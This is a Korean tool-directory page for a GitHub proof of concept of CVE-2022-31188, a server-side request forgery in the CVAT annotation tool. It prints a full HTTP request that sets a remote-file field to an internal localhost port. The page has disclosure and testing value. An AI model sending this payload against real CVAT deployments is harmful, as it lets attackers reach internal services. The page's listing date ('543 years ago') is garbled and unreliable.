Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-31188 — CVE-2022-31188 - OpenCV CVAT (컴퓨터 비전 주석 도구) SSRF | Kitploit
도구/GitHubGitHub/emirpolatt/cve-2022-31188
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubemirpolatt/cve-2022-31188

CVE-2022-31188

CVE-2022-31188 - OpenCV CVAT (컴퓨터 비전 주석 도구) SSRF

저장소 보기
543년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-31188

CVE-2022-31188 - OpenCV CVAT (컴퓨터 비전 주석 도구) SSRF

CVAT는 Intel이 개발한 오픈소스 컴퓨터 비전 주석 도구입니다.
'Task Create' 권한이 있는 모든 사용자는 악의적인 HTTP 요청을 보내고 시스템의 다른 열린 포트에 접근함으로써 SSRF 취약점을 트리거할 수 있습니다.

이 취약점은 CVAT 2.0.0 업데이트에서 수정되었습니다.

root@kitploit:~
POST /api/v1/tasks/2/data HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/plain, */*
Accept-Language:en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Token 06d88f739a10c7533991d8010761df721b790b7
X-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGV
Content-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436
Content-Length: 569
Origin: http://localhost:8080
Connection: close
Referer:http://localhost:8080/tasks/create
Cookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dned
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="remote files[0]"

http://localhost:8081
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name=" image quality"

170
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use zip chunks"

true
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use cache"

true
-----------------------------251652214142138553464236533436--

참조

  • https://nvd.nist.gov/vuln/detail/CVE-2022-31188
  • https://github.com/opencv/cvat/security/advisories/GHSA-69qq-p6vh-xjqj

작성자: Emir Polat

Twitter: https://twitter.com/devilsgrins

도구 다운로드